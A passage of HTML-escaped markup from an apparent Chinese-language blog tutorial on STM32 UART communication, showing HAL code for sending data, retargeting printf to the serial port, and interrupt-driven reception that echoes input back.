number\"\u003e0x43\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x45\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e调用函数发送\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// UART发送,使用打开的第一个端口,发送定义的数组里的字符\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euTx_Data\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 延迟1s\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"自己写发送函数\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E8%87%AA%E5%B7%B1%E5%86%99%E5%8F%91%E9%80%81%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"自己写发送函数\"\u003e\u003c/a\u003e自己写发送函数\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e前面的发送方式,不仅要传入句柄参数,还有数组、长度、超时时间参数。\u003c/p\u003e\u003cp\u003e为了简便发送,我们可以专门写一个字符串发送函数,可以直接传入一个数组即可发送,可以更简便地实现字符串发送。\u003c/p\u003e\u003cp\u003e优点是,发送数据更简便,能够一次性发送很长的数据数组。\u003c/p\u003e\u003cp\u003e但缺点就是不能控制发送的长度,会将整个数据数组发出。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e具体实现方式可以在参考链接中找到~\u003c/p\u003e\u003ch3 id=\"使用-printf-函数发送\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E4%BD%BF%E7%94%A8-printf-%E5%87%BD%E6%95%B0%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"使用 printf() 函数发送\"\u003e\u003c/a\u003e使用 printf() 函数发送\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e好好好好好好好好好好好好好好好好好好\u003c/del\u003e\u003c/p\u003e\u003cp\u003e首先打开 \u003ccode\u003eusart.c\u003c/code\u003e,然后添加头文件 \u003ccode\u003e#include \u0026#34;stdio.h\u0026#34;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e再加入\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN 1 */\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eifdef\u003c/span\u003e \u003cspan class=\"token expression\"\u003e__GNUC__\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* With GCC/RAISONANCE, small printf (option LD Linker-\u0026gt;Libraries-\u0026gt;Small printf set to \u0026#39;Yes\u0026#39;) calls __io_putchar() */\u003c/span\u003e \u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003ePUTCHAR_PROTOTYPE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003e__io_putchar\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003ePUTCHAR_PROTOTYPE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003efputc\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e FILE \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ef\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* __GNUC__ */\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/** * @brief Retargets the C library printf function to the USART. * @param None * @retval None */\u003c/span\u003ePUTCHAR_PROTOTYPE\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* Place your implementation of fputc here */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* e.g. write a character to the EVAL_COM1 and Loop until the end of transmission */\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ech\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/* USER CODE END 1 */\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后再到 \u003ccode\u003emain.c\u003c/code\u003e 中添加头文件 \u003ccode\u003e#include \u0026#34;stdio.h\u0026#34;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e然后就能愉快的用 \u003ccode\u003eprintf()\u003c/code\u003e 了~\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;Hello World!\\n\\r\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"具体效果\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E5%85%B7%E4%BD%93%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"具体效果\"\u003e\u003c/a\u003e具体效果\u003c/h3\u003e\u003cp\u003e)用这个板子是因为上面已经有 \u003ccode\u003eCH340\u003c/code\u003e 这个芯片了,电脑上装好驱动可以直接用~\u003c/p\u003e\u003cp\u003e如果莫得的话,买一个 \u003ccode\u003eUSB 转 TTL 模块\u003c/code\u003e 就行,几块钱~\u003c/p\u003e\u003cp\u003e主要代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 数组内十六进制代表 ABCDE\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x41\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x42\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x43\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x45\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 直接发送\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euTx_Data\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 使用 printf 发送\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;Hello World!\\n\\r\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后连上,打开串口助手,打开串口\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/uart/3.gif\" alt=\"3\"/\u003e\u003c/p\u003e\u003ch2 id=\"UART-接收\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#UART-%E6%8E%A5%E6%94%B6\" class=\"headerlink\" title=\"UART 接收\"\u003e\u003c/a\u003eUART 接收\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e)等我学完\u003c/del\u003e \u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e在之前文件的基础上,打开串口中断\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/uart/4.webp\" alt=\"4\" style=\"zoom:50%;\"/\u003e\u003cp\u003e如果开启了其他中断,要顺便设置一下中断优先级,如果没有默认即可\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/uart/5.webp\" alt=\"5\" style=\"zoom:67%;\"/\u003e\u003cp\u003e生成代码。\u003c/p\u003e\u003ch3 id=\"函数说明\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E5%87%BD%E6%95%B0%E8%AF%B4%E6%98%8E\" class=\"headerlink\" title=\"函数说明\"\u003e\u003c/a\u003e函数说明\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e中断处理函数 \u003ccode\u003evoid USART1_IRQHandler(void)\u003c/code\u003e ,在 \u003ccode\u003estm32f4xx_it.c\u003c/code\u003e 中;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHAL库函数 \u003ccode\u003eHAL_UART_Transmit\u003c/code\u003e ,用来发送数据;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHAL库函数 \u003ccode\u003eHAL_UART_Receive\u003c/code\u003e ,用来接收函数\u003c/p\u003e\u003cp\u003e该函数能够通过huart串口接收Size位pData数据。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e参数说明:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ehuart\u003c/code\u003e :选择用来接收的UART串口\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003epData\u003c/code\u003e :指向将要存放数据的指针\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eSize\u003c/code\u003e :接收数据的大小\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eTimeout\u003c/code\u003e :超时时间\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"接收方式\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E6%8E%A5%E6%94%B6%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"接收方式\"\u003e\u003c/a\u003e接收方式\u003c/h3\u003e\u003cp\u003e接收方式大概有三种,大致是\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e直接接收\u003c/p\u003e\u003cp\u003e这种方式为在 \u003ccode\u003ewhile\u003c/code\u003e 循环中不断判断是否接收成功,\u003cstrong\u003e会严重占用程序的进程\u003c/strong\u003e ,且接收较长的数据时,会发生接收错误。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e中断接收,接收一位发送一位\u003c/p\u003e\u003cp\u003e使用中断可以很大程度的避免不必要的资源浪费。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e在没有什么特别事件的时候,单片机会按照原本的程序运行着,等到有数据从UART串口发送过来时,会马上进入UART串口的中断处理函数中,完成相应的中断处理操作,完成后会退出中断函数,并继续原本在进行的程序,这样就不会占用单片机程序太多的进程了。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e但仍会发生前面直接接收方式的接收异常状况\u003c/strong\u003e ,主要原因是,在中断处理函数中,我们在接收了数据后并紧接着作出发送的操作,这会出现一个状况,还没来得及将上一次接收到的数据发送出去,就进入下一次接收的中断,然而导致失去了一些数据了。\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e中断接收,全部接收完后再发送\u003c/p\u003e\u003cp\u003e这个方式以一定的资源换取了一定程度数据的完整。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这种接收方式,是在方式2的基础上稍作改进的,较于前两种接收方式,是更好的一种接收方式,不会给原本的程序进程造成太大影响。还可以先接收全部数据(提示:通过定义一个较大的数组来存储),再将数据进行处理,这样能确保接收数据的完整性,并能将数据进行有效的处理、分析。\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e以上 1, 2 两种方式可以在参考博客中找到实现方法,这里主要关注方法 3\u003c/p\u003e\u003ch3 id=\"中断接收,全部接收完后再发送\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E4%B8%AD%E6%96%AD%E6%8E%A5%E6%94%B6%EF%BC%8C%E5%85%A8%E9%83%A8%E6%8E%A5%E6%94%B6%E5%AE%8C%E5%90%8E%E5%86%8D%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"中断接收,全部接收完后再发送\"\u003e\u003c/a\u003e中断接收,全部接收完后再发送\u003c/h3\u003e\u003ch4 id=\"使能接收中断\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E4%BD%BF%E8%83%BD%E6%8E%A5%E6%94%B6%E4%B8%AD%E6%96%AD\" class=\"headerlink\" title=\"使能接收中断\"\u003e\u003c/a\u003e\u003cstrong\u003e使能接收中断\u003c/strong\u003e\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003eHAL_UART_MspInit\u003c/code\u003e(在 \u003ccode\u003eusart.c\u003c/code\u003e中)\u003cstrong\u003e使能接收中断\u003c/strong\u003e \u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_MspInit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eUART_HandleTypeDef\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e uartHandle\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省略掉的前面的一些配置\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_MspInit 1 */\u003c/span\u003e \u003cspan class=\"token function\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euartHandle\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e UART_IT_RXNE\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_MspInit 1 */\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"编写接收中断服务程序\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/#%E7%BC%96%E5%86%99%E6%8E%A5%E6%94%B6%E4%B8%AD%E6%96%AD%E6%9C%8D%E5%8A%A1%E7%A8%8B%E5%BA%8F\" class=\"headerlink\" title=\"编写接收中断服务程序\"\u003e\u003c/a\u003e编写接收中断服务程序\u003c/h4\u003e\u003cp\u003e \u003cstrong\u003e\u003ccode\u003eUSART1_IRQHandler\u003c/code\u003e\u003c/strong\u003e (在 \u003ccode\u003estm32f4xx_it.c\u003c/code\u003e 中)\u003c/p\u003e\u003cp\u003e定义三个静态变量\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 存储数组\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 指向存储数组将要存储数据的位\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 接收数据长度\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e调用HAL库的UART接收函数以及发送函数\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e2、3步都可以根据自身要求进行改进\u003c/p\u003e\u003cul\u003e\u003cli\u003e第2步:判断接收结束条件,这个可以根据自己想要接收何种类型的数据而定。本次使用 \u003ccode\u003e回车\u003c/code\u003e 作为判断条件\u003c/li\u003e\u003cli\u003e第3步:数据处理,可以在这一步执行自己想要对数据做的一些操作。本次为将接收到的数据重新发送出去。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 1. 接收数据\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_UART_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e pRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 2. 判断数据结尾\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e\u0026#39;\\r\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 3. 将接收成功的数据通过串口发出去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uLength\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token 